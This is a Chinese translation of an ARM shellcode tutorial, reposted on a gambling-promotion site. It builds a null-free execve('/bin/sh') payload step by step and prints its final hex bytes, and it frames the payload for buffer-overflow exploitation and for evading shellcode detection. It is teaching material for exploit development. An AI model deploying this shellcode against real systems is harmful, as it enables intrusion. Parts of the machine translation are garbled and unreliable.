用ARM编写shellcode | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

用ARM编写shellcode

申博_安全防护 申博 163次浏览 已收录 0个评论

用ARM编写SHELLCODE简介

本教程的先决条件是了解ARM序列集的基本知识(在第一个系列教程“ARM序列集的基本知识”中介绍)。在这一部分中,您将学习如何使用您所学的知识在ARM组件中构建一个简单的shell代码。本教程中使用的示例是在ARMv6 32位处理惩罚器上编译的。如果您无法访问ARM设备,可以按照本教程设置自己的情况,并在VM中模拟树莓派发行版:使用QEMU模拟树莓派。

本教程是为那些想要利用自动shell代码生成器并学习如何按照ARM顺序编写shell代码的人编写的。What  效果 满足 它 在 bottom, 和 一 个 完整 的 主 效应 不仅仅 是 有趣 地 运行 object, isn’t it?如果您需要绕过shell代码检测算法或其他限制(这些限制允许自动对象在无法处理它们的情况下受到惩罚),那么在编译中以黑白方式编写自己的shell代码通常是非常有用的。好消息是,一旦你掌握了这个过程,这是一个很容易学习的技能。

在本教程中,我们将运用以下对象(默许情况下,大多数对象都安装在Linux发行版上):

  • GDB – 我们挑选的调试器

  • GEF – GDB加强功用,强烈推荐(由@hugsy开辟)

  • GCC – Gnu编译器鸠合

  • as – 汇编顺序

  • ld – 链接器

  • strace – 跟踪体系挪用的实用顺序

  • objdump – 用于搜检反汇编中的空字节

  • objcopy – 从ELF二进制文件中提取原始shellcode

请确保能在ARM情况中编译并运转本教程中的一切示例。

在最先编写shellcode之前,您须要相识一些基础原则,比方:

  1. 让您的shellcode连结紧凑,不要有空字节

  2. 缘由:我们正在编写shellcode,并运用它来应用缓冲区溢出等内存破坏破绽。比方在一些strcpy函数形成的缓冲区溢出破绽中, strcpy()的事情是复制数据,在收到空字节后住手复制。 当我们运用这个溢出来掌握顺序流时,若是strcpy命中空字节,它将住手复制shellcode,我们的应用就会不起作用。

  3. 制止库函数挪用和相对内存地点

  4. 缘由:为了使我们的shellcode尽量通用,我们不克不及依靠须要特定依靠干系的库挪用和依靠于特定情况的相对内存地点。

编写shellcode的历程包孕以下步调:

1、相识您要运用的体系挪用
2、找出体系挪用号码和您挑选的体系挪用函数所需的参数
3、使shellcode有用化
4、将shellcode转换为Hex字符串

明白体系挪用

在深入研讨第一个shellcode之前,让我们来编写一个能输出字符串的简朴ARM汇编顺序。 第一步是查找我们想要运用的体系挪用,这个时刻应当运用“write”。 能够在Linux手册页中找到此体系挪用的原型:

ssize_t write(int fd, const void *buf, size_t count);

从像C如许的高等编程言语的角度来看,这个体系挪用示比方下:

const char string[13] = "Azeria Labs\n";
write(1, string, sizeof(string)); // Here sizeof(string) is 13

从这个原型中能够看到我们须要以下参数:

  • fd – STDOUT的1

  • buf – 指向字符串的指针

  • count – 要写入的字节数 – > 13

  • 要写入的体系挪用数 – > 0x4

关于前3个参数,能够运用R0,R1和R2。 关于体系挪用,我们须要运用R7并将0x4移入个中。

mov r0, #1 @ fd 1 = STDOUT
ldr r1, string @ loading the string from memory to R1
mov r2, #13 @ write 13 bytes to STDOUT 
mov r7, #4 @ Syscall 0x4 = write()
svc #0

经由过程运用以上的代码片断,ARM组装顺序以下所示:

.data
string: .asciz "Azeria Labs\n" @ .asciz adds a null-byte to the end of the string
after_string:
.set size_of_string, after_string - string

.text
.global _start

_start:
   mov r0, #1 @ STDOUT
   ldr r1, addr_of_string @ memory address of string
   mov r2, #size_of_string @ size of string
   mov r7, #4 @ write syscall
   swi #0 @ invoke syscall

_exit:
   mov r7, #1 @ exit syscall
   swi 0 @ invoke syscall

addr_of_string: .word string

在数据局部,我们经由过程从字符串背面的地点减去字符串开首的地点来盘算字符串的巨细。 固然,若是我们能够手动盘算字符串巨细并将效果直接放入R2中,则无需如许做。别的,运用体系挪用号为1的exit()来退出顺序。

编译并实行:

azeria@labs:~$ as write.s -o write.o && ld write.o -o write
azeria@labs:~$ ./write
Azeria Labs

酷。 如今我们已相识了这个历程,接下来让我们更细致地研讨它,并在ARM顺序鸠合编写一个简朴的shellcode。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

1.跟踪体系挪用

关于我们的第一个例子,我们将接纳以下简朴函数并将其转换为ARM顺序集:

#include <stdio.h>

void main(void)
{
    system("/bin/sh");
}

第一步是肯定此函数须要的体系挪用和体系挪用所需的参数。 能够运用’strace’对OS内核的体系挪用举行跟踪。
将上面的代码保存在文件中,然后在运转strace敕令之前编译它。

azeria@labs:~$ gcc system.c -o system
azeria@labs:~$ strace -h
-f -- follow forks, -ff -- with output into separate files
-v -- verbose mode: print unabbreviated argv, stat, termio[s], etc. args
--- snip --
azeria@labs:~$ strace -f -v system
--- snip --
[pid 4575] execve("/bin/sh", ["/bin/sh"], ["MAIL=/var/mail/pi", "SSH_CLIENT=192.168.200.1 42616 2"..., "USER=pi", "SHLVL=1", "OLDPWD=/home/azeria", "HOME=/home/azeria", "XDG_SESSION_COOKIE=34069147acf8a"..., "SSH_TTY=/dev/pts/1", "LOGNAME=pi", "_=/usr/bin/strace", "TERM=xterm", "PATH=/usr/local/sbin:/usr/local/"..., "LANG=en_US.UTF-8", "LS_COLORS=rs=0:di=01;34:ln=01;36"..., "SHELL=/bin/bash", "EGG=AAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., "LC_ALL=en_US.UTF-8", "PWD=/home/azeria/", "SSH_CONNECTION=192.168.200.1 426"...]) = 0
--- snip --
[pid 4575] write(2, "$ ", 2$ ) = 2
[pid 4575] read(0, exit
--- snip --
exit_group(0) = ?
+++ exited with 0 +++

效果证实,体系函数execve()正在被挪用

2.体系挪用编号和参数

下一步是找出execve()的体系挪用编号和所需的参数。 您能够经由过程w3calls或Linux手册页查找体系挪用的概述。 这是我们从execve()的手册页中获得的:

NAME
    execve - execute program
SYNOPSIS

    #include <unistd.h>

    int execve(const char *filename, char *const argv [], char *const envp[]);

execve()请求的参数是:

  • 指向指定二进制途径的字符串的指针

  • argv [] – 敕令行变量数组

  • envp [] – 情况变量数组

这些基础上能够转换为:execve(filename,argv [],envp []) -> execve(filename,0, 0)。 运用以下敕令查找此函数的体系挪用编号:

azeria@labs:~$ grep execve /usr/include/arm-linux-gnueabihf/asm/unistd.h 
#define __NR_execve (__NR_SYSCALL_BASE+ 11)

检察输出,能够看到execve()的体系挪用编号是11。寄存器R0到R2可用于函数参数,而寄存器R7能够存储体系挪用编号。
用ARM编写shellcode

在x86上挪用体系挪用的事情方式以下:起首,将参数入栈。 然后,体系挪用编号被移入EAX寄存器( MOV EAX,syscall_number)。 末了,运用SYSENTER/INT 80挪用体系挪用。

在ARM上,体系挪用的事情方式略有不同:

1.将参数移动到寄存器 – R0,R1,..

2.将体系挪用编号移动到寄存器R7中

  • mov r7,#<syscall_number></syscall_number>

3.发作一个体系挪用

  • SVC#0或
  • SVC#1

4.返回值存入R0

这是它在ARM Assembly中的模样(代码已上传到azeria-labs的Github上):

用ARM编写shellcode

正如您在上图中所看到的,我们起首运用PC相对寻址将R0指向我们的“/bin/sh”字符串(若是您不记得为何有用的PC在当前指令之前启动两条指令,请转到汇编基础学问教程的“第2局部:数据类型和寄存器”,并检察诠释PC寄存器和示例的局部)。 然后我们将0移动到R1和R2并将体系挪用编号11移动到R7。 看起来很简朴吧? 让我们看一下运用objdump的第一次实验的反汇编:

azeria@labs:~$ as execve1.s -o execve1.o
azeria@labs:~$ objdump -d execve1.o
execve1.o: file format elf32-littlearm

Disassembly of section .text:

00000000 <_start>:
 0: e28f000c add r0, pc, #12
 4: e3a01000 mov r1, #0
 8: e3a02000 mov r2, #0
 c: e3a0700b mov r7, #11
 10: ef000000 svc 0x00000000
 14: 6e69622f .word 0x6e69622f
 18: 0068732f .word 0x0068732f

事实证实我们的shellcode中有许多空字节。 下一步是使shellcode有用化,并替代一切触及的操纵。

3.使shellcode有用化

Thumb情势是减小空字节出如今我们的shellcode中的概率的可用手艺之一。这是因为Thumb指令长度为2个字节而不是4个。若是您完成了ARM Assembly Basics教程,就会晓得怎样从ARM切换到Thumb情势。 若是还没有,我建议您浏览“前提实行和分支”教程的第6局部中有关分支指令“B / BX / BLX”的章节。

在我们的第二次实验中,我们运用Thumb情势并将包罗#0的操纵替代为致使0的操纵,具体方法是互相减去寄存器或举行异或操纵。 比方,不运用“mov r1,#0”,而是运用“sub r1, r1, r1”(r1 = r1-r1)或“eor r1,r1,r1”(r1 = r1 xor r1)。 请记着,因为我们如今运用Thumb情势(2字节指令),我们的代码必需是4字节对齐,而且我们须要在末端增加NOP(比方mov r5,r5)。

(代码已上传到azeria-labs的Github上):
用ARM编写shellcode

反汇编的代码以下所示:
用ARM编写shellcode

效果是我们只须要挣脱一个空字节。 我们的代码中致使空字节的局部是以空字符末端的字符串“/bin/sh\ 0”。 我们能够运用以下手艺处理此题目:

  • 将“/bin/sh\0”替代为“/bin/shX”
  • 将指令strb(存储字节)与现有的零添补寄存器连系运用,将X替代为空字节

(代码已上传到azeria-labs的Github上):
用ARM编写shellcode

瞧 – 没有空字节!

4.将SHELLCODE转换为HEX STRING

如今我们建立的shellcode能够转换为它的十六进制透露表现。 在此之前,最好搜检shellcode是否能自力事情。 但是有一个题目:若是我们像一般那样编译汇编文件,它将没法事情。 因为我们用了strb操纵来修正代码段(.text)。 这请求代码段是可写的,能够经由过程在链接历程当中增加-N标记来完成。

azeria@labs:~$ ld --help
--- snip --
-N, --omagic Do not page align data, do not make text readonly.
--- snip -- 
azeria@labs:~$ as execve3.s -o execve3.o && ld -N execve3.o -o execve3
azeria@labs:~$ ./execve3
$ whoami
azeria

有用! 祝贺,您已在ARM顺序鸠合编写了第一个shellcode。

要将其转换为十六进制,请运用以下指令:

azeria@labs:~$ objcopy -O binary execve3 execve3.bin 
azeria@labs:~$ hexdump -v -e '"\\""x" 1/1 "%02x" ""' execve3.bin 
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

也能够运用简朴的python剧本实行雷同操纵,而不是运用上面的hexdump指令:

#!/usr/bin/env python

import sys

binary = open(sys.argv[1],'rb')

for byte in binary.read():
 sys.stdout.write("\\x"+byte.encode("hex"))

print ""
azeria@labs:~$ ./shellcode.py execve3.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68\x78

愿望您喜好这篇文章。 鄙人一局部中,您将进修怎样以反向shell的情势编写shellcode,这比上面的示例轻微庞杂一些。 以后,我们将深入研讨内存破坏并相识它们是怎样发作的,和怎样运用我们克己的shellcode来应用它们。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明用ARM编写shellcode
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址